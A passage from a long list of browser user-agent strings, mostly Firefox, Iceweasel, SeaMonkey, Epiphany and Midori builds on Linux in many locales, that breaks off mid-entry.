Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.4) Gecko/20081031100 SUSE/3.0.4-4.6 Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121300 SUSE/3.0.5-0.1 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.5) Gecko/2008121622 Slackware/2.6.27-PiP Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030422 Kubuntu/8.10 (intrepid) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.7) Gecko/2009030503 Fedora/3.0.7-1.fc10 Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 GTB5 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.8) Gecko/2009032713 Fedora/3.0.8-1.fc9 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.9) Gecko/2009042113 Ubuntu/8.10 (intrepid) Firefox/3.0.9 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2a1pre) Gecko/20090128 Kubuntu/8.10 (intrepid) Minefield/3.2a1pre Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2a1pre) Gecko/20090330 Kubuntu/8.10 (intrepid) Minefield/3.2a1pre Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b4) Gecko/2008030800 SUSE/2.9.94-4.2 Firefox/3.0b4 Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9b5) Gecko/2008050509 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; pl-pl) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) epiphany-browser Mozilla/5.0 (X11; U; Linux i686; pl-pl) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; pl-pl) AppleWebKit/528.5+ (KHTML, like Gecko, Safari/528.5+) midori Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8) Gecko/20051111 Firefox/1.5 Ubuntu Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Ubuntu Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060201 Firefox/1.5.0.1 (Swiftfox) Mnenhy/0.7.3.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060313 Fedora/1.5.0.1-9 Firefox/1.5.0.1 pango-text Mnenhy/0.7.3.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.1) Gecko/20060314 Flock/0.5.13.2 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.12 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.4) Gecko/20060527 SUSE/1.5.0.4-1.7 Firefox/1.5.0.4 Mnenhy/0.7.4.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.4) Gecko/20060614 Fedora/1.5.0.4-1.2.fc5 Firefox/1.5.0.4 pango-text Mnenhy/0.7.4.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.5) Gecko/20060801 Firefox/1.5.0.5 Flock/0.7.4.1 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.0.7) Gecko/20060914 Firefox/1.5.0.7 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061003 Firefox/2.0 Ubuntu Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061010 Firefox/2.0 Ubuntu Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox) Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061127 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1) Gecko/20061127 Firefox/2.0 (Gentoo Linux) Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.1) Gecko/20061204 Firefox/2.0.0.1 (Ubuntu-edgy) Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.2) Gecko/20070220 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.0.6) Gecko/2009011912 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.2.18) Gecko/20110614 Firefox/3.6.18 ( .NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (X11; U; Linux i686; pl; rv:1.9.2a1) Gecko/20090806 Namoroka/3.6a1 (Debian GNU/Linux Sid) Mozilla/5.0 (X11; U; Linux i686; pt-BR) AppleWebKit/533.3 (KHTML, like Gecko) Navscape/Pre-0.2 Safari/533.3 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8) Gecko/20051111 Firefox/1.5 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.3) Gecko/20060523 Ubuntu/dapper Firefox/1.5.0.3 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.4) Gecko/20060608 Ubuntu/dapper-security Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.1.1) Gecko/20061208 Firefox/2.0.0.1 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.8.1.4) Gecko/20070509 SeaMonkey/1.1.2 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.0.2 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.0.8) Gecko/2009032713 Fedora/3.0.8-1.fc10 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv:1.9.2.13) Gecko/20101209 Fedora/3.6.13-1.fc13 Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.8.1.11) Gecko/20071204 Ubuntu/7.10 (gutsy) Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 FirePHP/0.2.4 Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.2.3) Gecko/20100402 Iceweasel/3.6 (like Firefox/3.6) GTB7.0 Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.2.3) Gecko/20100402 Iceweasel/3.6.3 (like Firefox/3.6.3) GTB7.0 Mozilla/5.0 (X11; U; Linux i686; pt-br; rv:1.8.1) Gecko/20061010 Firefox/2.0 Midori/0.2.0 Mozilla/5.0 (X11; U; Linux i686; pt-pt) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.8.1.11) Gecko/20071201 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.1.2) Gecko/20090804 Firefox/3.5.2 Mozilla/5.0 (X11; U; Linux i686; ru-RU; rv:1.9.2a1pre) Gecko/20090405 Ubuntu/9.04 (jaunty) Firefox/3.6a1pre Mozilla/5.0 (X11; U; Linux i686; ru-ru) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.0.7) Gecko/20060921 Ubuntu/dapper-security Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.1.11) Gecko/20080131 Firefox/2.0.0.11 Flock/1.0.8 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-0etch1) Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9) Gecko/2008061812 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.1) Gecko/2008071719 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008120121 Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.5) Gecko/2008121622 Ubuntu/8.10 (intrepid) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.8) Gecko/2009032711 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.8) Gecko/2009032711 Firefox/3.0.8 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.0.8) Gecko/2009032711 Ubuntu/8.10 (intrepid) Firefox/3.0.8 GTB5 FirePHP/0.2.4 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.3) Gecko/20091020 Ubuntu/10.04 (lucid) Firefox/4.0.1 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.1.3) Gecko/20091020 Ubuntu/9.10 (karmic) Firefox/3.5.3 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.2.8) Gecko/20100723 Ubuntu/10.04 (lucid) Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9.3a5pre) Gecko/20100526 Firefox/3.7a5pre Mozilla/5.0 (X11; U; Linux i686; ru; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; ru; rv:33.2.3.12) Gecko/20120201 SeaMonkey/8.2.8 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040913 Firefox/0.10 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040914 Firefox/0.10 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20040914 Firefox/0.10.1 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.3) Gecko/20041020 Firefox/0.10.1 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.8) Gecko/20050831 Debian/1.7.8-1sarge2 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.8) Gecko/20050831 Epiphany/1.4.8 (Debian) Mozilla/5.0 (X11; U; Linux i686; rv:1.7.8) Gecko/20050927 Debian/1.7.8-1sarge3 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.8) Gecko/20060628 Debian/1.7.8-1sarge7.1 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.8) Gecko/20060628 Epiphany/1.4.8 (Debian) Mozilla/5.0 (X11; U; Linux i686; rv:1.7.8) Gecko/20060904 Debian/1.7.8-1sarge7.2.2 Mozilla/5.0 (X11; U; Linux i686; rv:1.7.8) Gecko/20061113 Debian/1.7.8-1sarge8 Mozilla/5.0 (X11; U; Linux i686; rv:1.8.0.1) Gecko/20060124 Firefox/1.5.0.1 Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/2008080808 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; rv:1.9) Gecko/20080810020329 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux i686; rv:1.9.1a2pre) Gecko/20080824052448 SeaMonkey/2.0a1pre Mozilla/5.0 (X11; U; Linux i686; rv:19.0) Gecko/20100101 Slackware/13 Firefox/19.0 Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9) Gecko/2008061015 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.0.5) Gecko/2008121621 Ubuntu/8.04 (hardy) Firefox/3.0.5 Mozilla/5.0 (X11; U; Linux i686; sk; rv:1.9.1) Gecko/20090630 Fedora/3.5-1.fc11 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.13pre) Gecko/20071126 Ubuntu/dapper-security Firefox/1.5.0.13pre Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.5) Gecko/20060731 Ubuntu/dapper-security Firefox/1.5.0.5 Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.0.8) Gecko/20061108 Fedora/1.5.0.8-1.fc5 Firefox/1.5.0.8 Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.8.1.2) Gecko/20061023 SUSE/2.0.0.2-1.1 Firefox/2.0.0.2 Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; sv-SE; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6 Mozilla/5.0 (X11; U; Linux i686; sv-se) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; sv-se) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.30.6 Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.8.1) Gecko/20061023 SUSE/2.0-30 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux i686; tr-TR; rv:1.9b5) Gecko/2008032600 SUSE/2.9.95-25.1 Firefox/3.0b5 Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.2.1) Gecko/20030225 Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.4.1) Gecko/20031114 Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.6) Gecko/20091216 Fedora/3.5.6-1.fc11 Firefox/3.5.6 GTB6 Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 Mozilla/5.0 (X11; U; Linux i686; zh-CN; rv:1.9.2.8) Gecko/20100722 Ubuntu/10.04 (lucid) Firefox/3.6.8 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.0.10) Gecko/20070508 Fedora/1.5.0.10-1.fc5 Firefox/1.5.0.10 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.5) Gecko/2009012219 Firefox/3.0.5 Flock/2.0.3 Mozilla/5.0 (X11; U; Linux i686; zh-TW; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux i686; zh-cn) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686; zh-tw) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux i686;en-US; rv:1.2.1) Gecko/20030225 Mozilla/5.0 (X11; U; Linux ia64; de; rv:1.9.1.11) Gecko/20100820 Lightning/1.0b2pre SeaMonkey/2.0.6 Mozilla/5.0 (X11; U; Linux ia64; de; rv:1.9.1.18) Gecko/20110331 Lightning/1.0b2pre SeaMonkey/2.0.13 Mozilla/5.0 (X11; U; Linux ia64; de; rv:1.9.1.19) Gecko/20110429 Lightning/1.0b2pre SeaMonkey/2.0.14 Mozilla/5.0 (X11; U; Linux ia64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux ia64; pl; rv:1.8.0.5) Gecko/20060801 Firefox/1.5.0.5 Flock/0.7.4.1 Mozilla/5.0 (X11; U; Linux mips; en-US; rv:1.8.1.1) Gecko/20070628 BonEcho/2.0.0.1 Mozilla/5.0 (X11; U; Linux ppc64; en-US; rv:1.8.1.14) Gecko/20080418 Ubuntu/7.10 (gutsy) Firefox/2.0.0.14 Mozilla/5.0 (X11; U; Linux ppc; da-DK; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7) Mozilla/5.0 (X11; U; Linux ppc; de; rv:1.8.1.15) Gecko/20080612 Iceweasel/2.0.0.15 (Debian-2.0.0.15-0etch1) Mozilla/5.0 (X11; U; Linux ppc; en-GB; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.0.0) Gecko/20020622 Debian/1.0.0-0.woody.1 Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.1) Gecko/20020927 Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.4) Gecko/20030714 Debian/1.4-2 Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.7.12) Gecko/20051222 Firefox/1.0.7 Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.0.11) Gecko/20070217 Iceape/1.0.8 (Debian-1.0.8-4) Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.0.13pre) Gecko/20070505 Iceape/1.0.9 (Debian-1.0.10~pre070720-0etch1) Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.0.6) Gecko/20060815 SeaMonkey/1.0.4 Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.0.9) Gecko/20061219 Iceape/1.0.7 (Debian-1.0.7-2) Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.0.9) Gecko/20061219 Iceape/1.0.7 (Debian-1.0.7-3) Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.1) Gecko/20061219 BonEcho/2.0.0.1 Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.13) Gecko/20080313 Iceape/1.1.9 (Debian-1.1.9-5) Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.3) Gecko/20070310 Firefox/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.3) Gecko/20070310 Iceweasel/2.0.0.3 (Debian-2.0.0.3-1) Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9) Gecko/2008062909 Iceweasel/3.0 (Debian-3.0~rc2-2) Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9.0.1) Gecko/2008072112 Iceweasel/3.0.1 (Debian-3.0.1-1) Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9.0.1) Gecko/2008072112 Iceweasel/3.0.3 (Debian-3.0.3-2) Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9.0.4) Gecko/2008111317 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.0a8 Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.9a8) Gecko/2007100620 GranParadiso/3.1 Mozilla/5.0 (X11; U; Linux ppc; en; rv:1.8.1.13) Gecko/20080325 Epiphany/2.20 Firefox/2.0.0.13 Mozilla/5.0 (X11; U; Linux ppc; fr; rv:1.8.1.13) Gecko/20080313 Iceape/1.1.9 (Debian-1.1.9-5) Mozilla/5.0 (X11; U; Linux ppc; fr; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.10 (maverick) Firefox/3.6.12 Mozilla/5.0 (X11; U; Linux sparc64; en-GB; rv:1.8.1.11) Gecko/20071217 Galeon/2.0.3 Firefox/2.0.0.11 Mozilla/5.0 (X11; U; Linux sparc64; en-US; rv:1.8.0.14eol) Gecko/20070505 (Debian-1.8.0.15~pre080323b-0etch2) Epiphany/2.14 Mozilla/5.0 (X11; U; Linux sparc64; en-US; rv:1.8.1.14) Gecko/20080404 Iceweasel/2.0.0.14 (Debian-2.0.0.14-0etch1) Mozilla/5.0 (X11; U; Linux sparc64; en-US; rv:1.8.1.17) Gecko/20081108 Firefox/2.0.0.17 Mozilla/5.0 (X11; U; Linux sparc64; es-PY; rv:5.0) Gecko/20100101 IceCat/5.0 (like Firefox/5.0; Debian-6.0.1) Mozilla/5.0 (X11; U; Linux x64; en-US; rv:1.8.1.6) Gecko/20070723 Iceweasel/2.0.0.6 (Debian-2.0.0.6-1) Mozilla/5.0 (X11; U; Linux x64; en-US; rv:1.8.1.7) Gecko/20070914 Iceweasel/2.0.0.7 (Debian-2.0.0.7-1) Mozilla/5.0 (X11; U; Linux x64_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86-64; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 Mozilla/5.0 (X11; U; Linux x86; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Epiphany/2.30.6 Safari/534.7 Mozilla/5.0 (X11; U; Linux x86; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty) Mozilla/5.0 (X11; U; Linux x86; es-ES; rv:1.9.0.3) Gecko/2008092417 Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86; rv:1.9.1.1) Gecko/20090716 Linux Firefox/3.5.1 Mozilla/5.0 (X11; U; Linux x86; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/8.04 (hardy) Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64) Gecko/2008072820 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; ca-ad) AppleWebKit/531.2+ (KHTML, like Gecko) Safari/531.2+ Epiphany/2.30.6 Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ) AppleWebKit/533.3 (KHTML, like Gecko) rekonq Safari/533.3 Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.0.4) Gecko/2008111318 Ubuntu/8.04 (hardy) Firefox/3.0.4 Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.0.4) Gecko/2008112309 Iceweasel/3.0.4 (Debian-3.0.4-1) Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.16) Gecko/20120602 Iceweasel/3.5.16 (like Firefox/3.5.16) Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.7) Gecko/20100106 Ubuntu/9.10 (karmic) Firefox/3.5.7 Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.2.10) Gecko/20100915 Ubuntu/10.04 (lucid) Firefox/3.6.10 Mozilla/5.0 (X11; U; Linux x86_64; cs-CZ; rv:1.9.2a2pre) Gecko/20090826 Namoroka/3.6a2pre Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.0.10) Gecko/2009042523 Ubuntu/9.04 (jaunty) Firefox/3.0.10 Mozilla/5.0 (X11; U; Linux x86_64; da-DK; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.10 (maverick) Firefox/3.6.13 Mozilla/5.0 (X11; U; Linux x86_64; de-AT; rv:1.7.8) Gecko/20050513 Debian/1.7.8-1 Mozilla/5.0 (X11; U; Linux x86_64; de-AT; rv:1.8.0.2) Gecko/20060422 Firefox/1.5.0.2 Mozilla/5.0 (X11; U; Linux x86_64; de-DE; rv:1.8.1.6) Gecko/20070802 Firefox/2.0.0.6 Mozilla/5.0 (X11; U; Linux x86_64; de-DE; rv:1.9.2.17) Gecko/20110424 Lightning/1.0b2 Thunderbird/3.1.10 Mozilla/5.0 (X11; U; Linux x86_64; de-at) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux x86_64; de-de) AppleWebKit/525.1+ (KHTML, like Gecko, Safari/525.1+) midori Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2) Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.1) Gecko/2006120502 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2) Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.12) Gecko/20080129 Iceweasel/2.0.0.12 (Debian-2.0.0.12-1) Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.12) Gecko/20080203 SUSE/2.0.0.12-6.1 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.8.1.12) Gecko/20080208 Fedora/2.0.0.12-1.fc8 Firefox/2.0.0.12 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9) Gecko/2008061017 Firefox/3.0 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-0.1 Firefox/3.0.1 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.11) Gecko/2009070611 Gentoo Firefox/3.0.11 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.16) Gecko/2009121609 Iceweasel/3.0.6 (Debian-3.0.6-3) Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.18) Gecko/2010021501 Ubuntu/9.04 (jaunty) Firefox/3.0.18 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.19) Gecko/2012013123 Iceweasel/3.0.6 (Debian-3.0.6-3) Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008090713 Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1) Opera 7.03 [de] Mozilla/5.0 (X11; U; Linux x86_64; de; rv:1.9.0.7) Gecko/2009030620 Gentoo Firefox/3.0.7 Mozilla/5.0 (X11; U; Linux x86_64; de; 